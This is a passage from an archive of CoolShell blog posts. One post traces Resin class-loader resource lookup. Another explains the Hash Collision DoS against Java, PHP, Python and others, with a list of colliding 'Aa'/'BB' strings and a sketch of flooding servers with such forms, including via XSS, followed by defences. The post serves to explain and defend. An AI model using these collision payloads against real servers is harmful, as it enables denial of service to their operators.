href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6346.html\">程序员因为女孩而美丽！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-1-5 Resin服务器getResource揭秘.html",
    "content": "<html><body><p><strong>（<span style=\"color: #cc0000;\">感谢网友 liuxiaori 继续分享其经历</span>）这样的详细的图文并茂的文章让我很佩服！</strong></p>\n<h4>前言</h4>\n<p>接上文“<a href=\"https://coolshell.cn/articles/6112.html\" target=\"_blank\" title=\"由一个问题到 Resin ClassLoader 的学习\">由一个问题到Resin ClassLoader的学习</a>”，本文将以this.getClass().getResource(“/”).getPath()和this.getClass().getResourceAsStream(“/a.txt”)为例，一步步解析加载的过程。</p>\n<h4>调试环境</h4>\n<ol>\n<li>下载resin3.0.23的源码(<a href=\"http://www.caucho.com/download/resin-3.0.23-src.zip\">http://www.caucho.com/download/resin-3.0.23-src.zip</a>)。</li>\n<li>部署到myeclipse中，有错误，本人忽略了。Resin可运行。</li>\n<li>将EhCacheTestAnnotation部署到resin3.0.23中。</li>\n<li>调试this.getClass().getResource(“/”).getPath()。</li>\n</ol>\n<p>问题来了，无论如何也模拟不出来&lt;compiling-loader&gt;所造成的影响，一直输出：/D:/work_other/project/resin-3.0.23/bin/ 。无奈之下，采用了这种方式：使用两个eclipse，一个使用发布版本的，部署EhCacheTestAnnotation进行调试；另外一个部署resin3.0.23源码，调试到哪里对照看源码。</p>\n<h4>开始</h4>\n<h5>1) this.getClass().getResource(“/”).getPath()</h5>\n<p>本次调试涉及的所有类加载器为：</p>\n<blockquote><p>EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]</p>\n<p>EnvironmentClassLoader$7806641[host:http://localhost:8787]</p>\n<p>EnvironmentClassLoader$22459270[servlet-server:]</p>\n<p>sun.misc.Launcher$AppClassLoader@7259da</p>\n<p>sun.misc.Launcher$ExtClassLoader@16930e2</p></blockquote>\n<p>首先进入Class的getResource(String name)方法，如下图：</p>\n<p><span id=\"more-6335\"></span></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6390\" style=\"width: 553px;\"><img alt=\"图片1\" class=\"size-full wp-image-6390\" height=\"182\" src=\"../wp-content/uploads/2012/01/图片1.png\" title=\"图片1\" width=\"553\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6390\">图1</figcaption></figure>\n<p>最后委托给ClassLoader的getResource方法。那么这个ClassLoader是哪个呢？一看下图便知：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6391\" style=\"width: 553px;\"><img alt=\"图片2\" class=\"size-full wp-image-6391\" height=\"85\" src=\"../wp-content/uploads/2012/01/图片2.png\" title=\"图片2\" width=\"553\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6391\">图2</figcaption></figure>\n<p>是DynamicClassLoader的getResource方法，原理上文已述。</p>\n<p>最终会委托给sun.misc.Launcher$ExtClassLoader@16930e2类加载器的getResource方法，返回null，然后开始回溯。</p>\n<p>还记得吗？当java.net.URLClassLoader分支的ClassLoader的getResource方法返回值为null后，就要遍历嵌入DynamicClassLoader中的Resin的Loader(即_loaders集合)。</p>\n<p>当然回溯到EnvironmentClassLoader$22459270[servlet-server:]中，那么它中_loaders这个集合中的Loader又有哪些呢？</p>\n<p>以图为证，当天确实回溯到该ClassLoader，而且开始准备遍历_loaders集合。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6392\" style=\"width: 554px;\"><img alt=\"图3\" class=\"size-full wp-image-6392\" height=\"74\" src=\"../wp-content/uploads/2012/01/图片3.png\" title=\"图3\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6392\">图3</figcaption></figure>\n<p>DynamicClassLoader的1306行，没问题，resin3.0.23源码截图为证：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6393\" style=\"width: 554px;\"><img alt=\"图4\" class=\"size-full wp-image-6393\" height=\"236\" src=\"../wp-content/uploads/2012/01/图片4.png\" title=\"图4\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6393\">图4</figcaption></figure>\n<p>不做多余解释，那么“servlet-server”这个ClassLoader中的_loaders集合中都放了一些什么呢？</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6394\" style=\"width: 554px;\"><img alt=\"图5\" class=\"size-full wp-image-6394\" height=\"121\" src=\"../wp-content/uploads/2012/01/图片5.png\" title=\"图5\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6394\">图5</figcaption></figure>\n<p>存放了两个TreeLoader(Loader的子类)，然未找到结果，返回null。继续回溯。</p>\n<p>这次轮到遍历EnvironmentClassLoader$7806641[host:http://localhost:8787]的_loaders。下图为证：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6395\" style=\"width: 554px;\"><img alt=\"图6\" class=\"size-full wp-image-6395\" height=\"170\" src=\"../wp-content/uploads/2012/01/图片6.png\" title=\"图6\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6395\">图6</figcaption></figure>\n<p>_loaders中的内容如下图：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6396\" style=\"width: 554px;\"><img alt=\"图7\" class=\"size-full wp-image-6396\" height=\"193\" src=\"../wp-content/uploads/2012/01/图片7.png\" title=\"图7\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6396\">图7</figcaption></figure>\n<p>比较长，我贴出来：</p>\n<blockquote><p>[CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes], LibraryLoader[com.caucho.config.types.FileSetType@fb6763], CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes], LibraryLoader[com.caucho.config.types.FileSetType@140b8fd], CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes], LibraryLoader[com.caucho.config.types.FileSetType@30fc1f]]</p></blockquote>\n<p>注意到了吧，主角来了。那仔细调试下把。爆料一下：CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes]就是主角。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6397\" style=\"width: 554px;\"><img alt=\"图8\" class=\"size-full wp-image-6397\" height=\"251\" src=\"../wp-content/uploads/2012/01/图片8.png\" title=\"图8\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6397\">图8</figcaption></figure>\n<p>看到了吧，遍历时，当前的Loader为CompilingLoader[src:/D:/work/resin-3.0.23/webapps/WEB-INF/classes]，而且url可是不为null了哦。再贴一张，看看url的值到底是什么！</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6400\" style=\"width: 554px;\"><img alt=\"图9\" class=\"size-full wp-image-6400\" height=\"250\" src=\"../wp-content/uploads/2012/01/图片9.png\" title=\"图9\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6400\">图9</figcaption></figure>\n<p>嗯，不用多做解释了吧。</p>\n<p>最后看看程序输出是否吻合，如下图：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6401\" style=\"width: 554px;\"><img alt=\"图10\" class=\"size-full wp-image-6401\" height=\"81\" src=\"../wp-content/uploads/2012/01/图片10.png\" title=\"图10\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6401\">图10</figcaption></figure>\n<p>然后修改resin.conf中的&lt;compiling-loader&gt;将其注释掉，看看程序结果会不会是我们期望的：/D:/work/resin-3.0.23/webapps/EhCacheTestAnnotation/WEB-INF/classes/。拭目以待。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6402\" style=\"width: 554px;\"><img alt=\"图11\" class=\"size-full wp-image-6402\" height=\"106\" src=\"../wp-content/uploads/2012/01/图片11.png\" title=\"图11\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6402\">图11</figcaption></figure>\n<p>为节省篇幅，一下只关注关键位置。</p>\n<p>首先调试到EnvironmentClassLoader$7806641[host:http://localhost:8787]，我们需要停下来一下。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6403\" style=\"width: 554px;\"><img alt=\"图12\" class=\"size-full wp-image-6403\" height=\"154\" src=\"../wp-content/uploads/2012/01/图片12.png\" title=\"图12\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6403\">图12</figcaption></figure>\n<p>再看一下_loaders的值。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6404\" style=\"width: 554px;\"><img alt=\"图13\" class=\"size-full wp-image-6404\" height=\"157\" src=\"../wp-content/uploads/2012/01/图片13.png\" title=\"图13\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6404\">图13</figcaption></figure>\n<p>贴一个详细的：</p>\n<blockquote><p>[LibraryLoader[com.caucho.config.types.FileSetType@1299f7e], LibraryLoader[com.caucho.config.types.FileSetType@1a631cc], LibraryLoader[com.caucho.config.types.FileSetType@f6398]]</p></blockquote>\n<p>对比一下，在注释掉&lt;compiling-loader&gt;后，loaders中是没有CompilingClassLoader实例的。</p>\n<p>继续，下面就轮到EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]这个ClassLoader了，会是什么样子呢？</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6405\" style=\"width: 554px;\"><img alt=\"图14\" class=\"size-full wp-image-6405\" height=\"154\" src=\"../wp-content/uploads/2012/01/图片14.png\" title=\"图14\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6405\">图14</figcaption></figure>\n<p>进入该ClassLoader时，url值依旧为null，那_loaders会有变化吗？如下图：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6406\" style=\"width: 554px;\"><img alt=\"图15\" class=\"size-full wp-image-6406\" height=\"149\" src=\"../wp-content/uploads/2012/01/图片15.png\" title=\"图15\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6406\">图15</figcaption></figure>\n<p>继续遍历_loaders。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6407\" style=\"width: 554px;\"><img alt=\"图16\" class=\"size-full wp-image-6407\" height=\"211\" src=\"../wp-content/uploads/2012/01/图片16.png\" title=\"图16\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6407\">图16</figcaption></figure>\n<p>到这里就结束了，url在EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]中被加载。</p>\n<h5>1) this.getClass().getResourceAsStream(“/a.txt”)</h5>\n<p>getResourceAsStream(String name)方法也是采用双亲委派的方式。在前一篇文章中提出“getResourceAsStream可是将获取路径委托给getResource，&lt;compiling-loader&gt;却没有对getResourceAsStream产生影响”</p>\n<p>ClassLoader中getResourceAsStream源码也确实是委托为getResource了，可是为什么呢？</p>\n<p>getResourceAsStream(String name)方法。</p>\n<pre class=\"EnlighterJSRAW\">\npublic InputStream getResourceAsStream(String name) {\n    URL url = getResource(name);\n    try {\n        return url != null ? url.openStream() : null;\n    } catch (IOException e) {\n        return null;\n    }\n}\n</pre>\n<p>其实不难解释，JVM中ClassLoader的getResourceAsStream(“/a.txt”)返回了null，然后开始回溯，与getResource方法的原理一致，直到某个ClassLoader及其子类或者Loader及其子类找到了”/a.txt”，并以流的形式返回，当然谁都没找到就返回null。</p>\n<p>捡重点的说。</p>\n<p>调试到sun.misc.Launcher$AppClassLoader@18d107f，即ClassLoader的子类，情形如下图：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6408\" style=\"width: 554px;\"><img alt=\"图17\" class=\"size-full wp-image-6408\" height=\"249\" src=\"../wp-content/uploads/2012/01/图片17.png\" title=\"图17\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6408\">图17</figcaption></figure>\n<p>看见getResource(name)喽，按F5进去看个究竟。如下图，其parent为：sun.misc.Launcher$ExtClassLoader@360be0，其返回null。</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6398\" style=\"width: 554px;\"><img alt=\"图18\" class=\"size-full wp-image-6398\" height=\"278\" src=\"../wp-content/uploads/2012/01/图片18.png\" title=\"图18\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6398\">图18</figcaption></figure>\n<p>开始回溯到：EnvironmentClassLoader$1497769[servlet-server:]，与getResource方法一致，开始遍历_loaders集合。</p>\n<p>这样就可以解释为何&lt;compiling-loader&gt;没有影响到getResourceAsStream了。因为资源(这里是/a.txt)，就不是由AppClassLoader和ExtClassLoader加载的，而是由DynamicClassLoader或者其内部的_loaders集合完成的加载。或者更确切的说是由CompilingClassLoader获取到的URL，再转换成InputStream。</p>\n<p><span style=\"color: #ff0000;\"><strong>&lt;comiling-loader&gt;其实对getResourceAsStream还是有点影响的，如果配置中配置了&lt;comiling-loader&gt;，并且&lt;comiling-loader&gt;配置的路径下，与实际项目的指定路径下，都放置了同名资源，则会先加载&lt;comiling-loader&gt;配置路径下的资源。</strong></span></p>\n<p>比如，下图所示：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_6399\" style=\"width: 554px;\"><img alt=\"图19\" class=\"size-full wp-image-6399\" height=\"266\" src=\"../wp-content/uploads/2012/01/图片19.png\" title=\"图19\" width=\"554\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-6399\">图19</figcaption></figure>\n<p>&lt;compiling-loader&gt;配置的路径为：&lt;compiling-loader path=”webapps/WEB-INF/classes”/&gt;</p>\n<p>在加载”/a.txt”时，优先加载webapps/WEB-INF/classes/a.txt。</p>\n<h4>总结</h4>\n<ol>\n<li>&lt;compiling-loader&gt;如被注释掉，则只会在EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]中的_loaders中被初始化，否则会在EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]和EnvironmentClassLoader$7806641[host:http://localhost:8787两个类加载器各自的_loaders集合中被初始化。(通过调试this.getClass().getResource(“/test”).getPath()验证)</li>\n<li>&lt;compiling-loader&gt;未注释掉，”/”(根路径)由EnvironmentClassLoader$7806641[host:http://localhost:8787]加载，注释掉后由EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]加载。</li>\n<li>EnvironmentClassLoader$7806641[host:http://localhost:8787]为Resin server的类加载器实例，EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]为Web应用程序的类加载器实例。他们都属于java.net.URLClassLoader的实例。</li>\n<li>&lt;compiling-loader&gt;某种程度上对getResourceAsStream方法有影响。</li>\n</ol>\n<p>现在&lt;compiling-loader&gt;如何影响getResource(“/”)，以及getResourceAsStream“不”被影响全部真相大白。</p>\n<p><span style=\"color: #ff0000;\">注：&lt;compiling-loader&gt;只对获取根路径产生影响，也就是参数为”/”。比如加载”/test/Path.class”不会产生影响。</span></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6112.html\"><img alt=\"由一个问题到 Resin ClassLoader 的学习\" height=\"150\" src=\"../wp-content/uploads/2011/12/resin01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6112.html\">由一个问题到 Resin ClassLoader 的学习</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6335.html\">Resin服务器getResource揭秘</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-1-6 Hash Collision DoS 问题.html",
    "content": "<html><body><p>最近，除了国内明文密码的安全事件，还有一个事是比较大的，那就是 Hash Collision DoS （Hash碰撞的拒绝式服务攻击），有恶意的人会通过这个安全弱点会让你的服务器运行巨慢无比。<strong>这个安全弱点利用了各语言的Hash算法的“非随机性”可以制造出N多的value不一样，但是key一样数据，然后让你的Hash表成为一张单向链表，而导致你的整个网站或是程序的运行性能以级数下降（可以很轻松的让你的CPU升到100%）</strong>。目前，这个问题出现于<a href=\"http://www.java.com/\">Java</a>, <a href=\"http://jruby.org/\">JRuby</a>, <a href=\"http://www.php.net/\">PHP</a>, <a href=\"http://python.org/\">Python</a>, <a href=\"http://rubini.us/\">Rubinius</a>, <a href=\"http://www.ruby-lang.org/\">Ruby</a>这些语言中，主要：</p>\n<ul>\n<li><a href=\"http://www.java.com\">Java</a>, 所有版本</li>\n<li><a href=\"http://jruby.org/\">JRuby</a> &lt;= 1.6.5 （目前fix在 1.6.5.1）</li>\n<li><a href=\"http://www.php.net/\">PHP</a> &lt;= 5.3.8, &lt;= 5.4.0RC3 （目前fix在 5.3.9,  5.4.0RC4）</li>\n<li><a href=\"http://python.org/\">Python</a>, all versions</li>\n<li><a href=\"http://rubini.us/\">Rubinius</a>, all versions</li>\n<li><a href=\"http://www.ruby-lang.org/\">Ruby</a> &lt;= 1.8.7-p356 （目前fix在 1.8.7-p357, 1.9.x）</li>\n<li><a href=\"http://geronimo.apache.org/\">Apache Geronimo</a>, 所有版本</li>\n<li><a href=\"http://tomcat.apache.org/\">Apache Tomcat</a> &lt;= 5.5.34, &lt;= 6.0.34, &lt;= 7.0.22 （目前fix在 5.5.35,  6.0.35,  7.0.23）</li>\n<li><a href=\"http://glassfish.java.net/\">Oracle Glassfish</a> &lt;= 3.1.1 （目前fix在mainline）</li>\n<li><a href=\"http://www.eclipse.org/jetty/\">Jetty</a>, 所有版本</li>\n<li><a href=\"http://plone.org/\">Plone</a>, 所有版本</li>\n<li><a href=\"http://rack.rubyforge.org/\">Rack</a> &lt;= 1.3.5, &lt;= 1.2.4, &lt;= 1.1.2 （目前fix 在 1.4.0, 1.3.6, 1.2.5, 1.1.3）</li>\n<li><a href=\"http://code.google.com/p/v8/\">V8 JavaScript Engine</a>, 所有版本</li>\n<li>ASP.NET 没有打MS11-100补丁</li>\n</ul>\n<p>注意，Perl没有这个问题，因为Perl在N年前就fix了这个问题了。关于这个列表的更新，请参看 <a href=\"http://www.ocert.org/advisories/ocert-2011-003.html\" target=\"_blank\">oCERT的2011-003报告</a>，比较坑爹的是，这个问题早在2003 年就在论文《<a href=\"http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf\" target=\"_blank\">通过算法复杂性进行拒绝式服务攻击</a>》中被报告了，但是好像没有引起注意，尤其是Java。</p>\n<h4>弱点攻击解释</h4>\n<p>你可以会觉得这个问题没有什么大不了的，因为黑客是看不到hash算法的，如果你这么认为，那么你就错了，这说明对Web编程的了解还不足够底层。</p>\n<p><span id=\"more-6424\"></span></p>\n<p>无论你用JSP，PHP，Python，Ruby来写后台网页的时候，在处理HTTP POST数据的时候，你的后台程序可以很容易地以访问表单字段名来访问表单值，就像下面这段程序一样：</p>\n<pre class=\"EnlighterJSRAW\">\n\n$usrname = $_POST['username'];\n$passwd = $_POST['password'];\n\n</pre>\n<p>这是怎么实现的呢？这后面的东西就是Hash Map啊，所以，我可以给你后台提交一个有10K字段的表单，这些字段名都被我精心地设计过，他们全是Hash Collision ，于是你的Web Server或语言处理这个表单的时候，就会建造这个hash map，于是在每插入一个表单字段的时候，都会先遍历一遍你所有已插入的字段，于是你的服务器的CPU一下就100%了，你会觉得这10K没什么，那么我就发很多个的请求，你的服务器一下就不行了。</p>\n<p>举个例子，你可能更容易理解：</p>\n<p>如果你有n个值—— v1, v2, v3, … vn，把他们放到hash表中应该是足够散列的，这样性能才高：</p>\n<blockquote><p>0 -&gt; v2<br/>\n1 -&gt; v4<br/>\n2 -&gt; v1<br/>\n…<br/>\n…<br/>\nn -&gt; v(x)</p></blockquote>\n<p>但是，这个攻击可以让我造出N个值——  dos1, dos2, …., dosn，他们的hash key都是一样的（也就是Hash Collision），导致你的hash表成了下面这个样子：</p>\n<blockquote><p>0 – &gt; dos1 -&gt; dos2 -&gt; dos3 -&gt; …. -&gt;dosn<br/>\n1 -&gt; null<br/>\n2 -&gt; null<br/>\n…<br/>\n…<br/>\nn -&gt; null</p></blockquote>\n<p>于是，单向链接就这样出现了。这样一来，O(1)的搜索算法复杂度就成了O(n)，而插入N个数据的算法复杂度就成了O(n^2)，你想想这是什么样的性能。</p>\n<p>（关于Hash表的实现，如果你忘了，那就把大学时的《数据结构》一书拿出来看看）</p>\n<h4>  Hash Collision DoS 详解</h4>\n<p>StackOverflow.com是个好网站， 合格的程序员都应该知道这个网站。上去一查，就看到了这个贴子“<a href=\"http://stackoverflow.com/questions/8669946/application-vulnerability-due-to-non-random-hash-functions\" target=\"_blank\" title=\"Application vulnerability due to Non Random Hash Functions\">Application vulnerability due to Non Random Hash Functions</a>”。我把这个贴子里的东西摘一些过来。</p>\n<p>首先，这些语言使用的Hash算法都是“非随机的”，如下所示，这个是Java和Oracle使用的Hash函数：</p>\n<pre class=\"EnlighterJSRAW\">static int hash(int h)\n{\nh ^= (h &gt;&gt;&gt; 20) ^ (h &gt;&gt;&gt; 12);\nreturn h ^ (h &gt;&gt;&gt; 7) ^ (h &gt;&gt;&gt; 4);\n}</pre>\n<p>所谓“非随机的” Hash算法，就可以猜。比如：</p>\n<p>1）在Java里， Aa和BB这两个字符串的hash code(或hash key) 是一样的，也就是Collision 。</p>\n<p>2）于是，我们就可以通过这两个种子生成更多的拥有同一个hash key的字符串。如：”AaAa”, “AaBB”, “BBAa”, “BBBB”。这是第一次迭代。其实就是一个排列组合，写个程序就搞定了。</p>\n<p>3）然后，我们可以用这4个长度的字符串，构造8个长度的字符串，如下所示：</p>\n<pre style=\"padding-left: 30px;\"><code>\"AaAaAaAa\", \"AaAaBBBB\", \"AaAaAaBB\", \"AaAaBBAa\", \n\"BBBBAaAa\", \"BBBBBBBB\", \"BBBBAaBB\", \"BBBBBBAa\", \n\"AaBBAaAa\", \"AaBBBBBB\", \"AaBBAaBB\", \"AaBBBBAa\", \n\"BBAaAaAa\", \"BBAaBBBB\", \"BBAaAaBB\", \"BBAaBBAa\",</code></pre>\n<p><code>4）同理，我们就可以生成16个长度的，以及256个长度的字符串，总之，很容易生成N多的这样的值。</code></p>\n<p>在攻击时，我只需要把这些数据做成一个HTTP POST 表单，然后写一个无限循环的程序，不停地提交这个表单。你用你的浏览器就可以了。当然，如果做得更精妙一点的话，把你的这个表单做成一个跨站脚本，然后找一些网站的跨站漏洞，放上去，于是能过SNS的力量就可以找到N多个用户来帮你从不同的IP来攻击某服务器。</p>\n<p> </p>\n<h4>防守</h4>\n<p>要防守这样的攻击，有下面几个招：</p>\n<ul>\n<li>打补丁，把hash算法改了。</li>\n<li>限制POST的参数个数，限制POST的请求长度。</li>\n<li>最好还有防火墙检测异常的请求。</li>\n</ul>\n<p>不过，对于更底层的或是其它形式的攻击，可能就有点麻烦了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9606.html\"><img alt=\"疫苗：Java HashMap的死循环\" height=\"150\" src=\"../wp-content/uploads/2013/05/race_condition-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9606.html\">疫苗：Java HashMap的死循环</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-1-9 Javascript 面向对象编程.html",
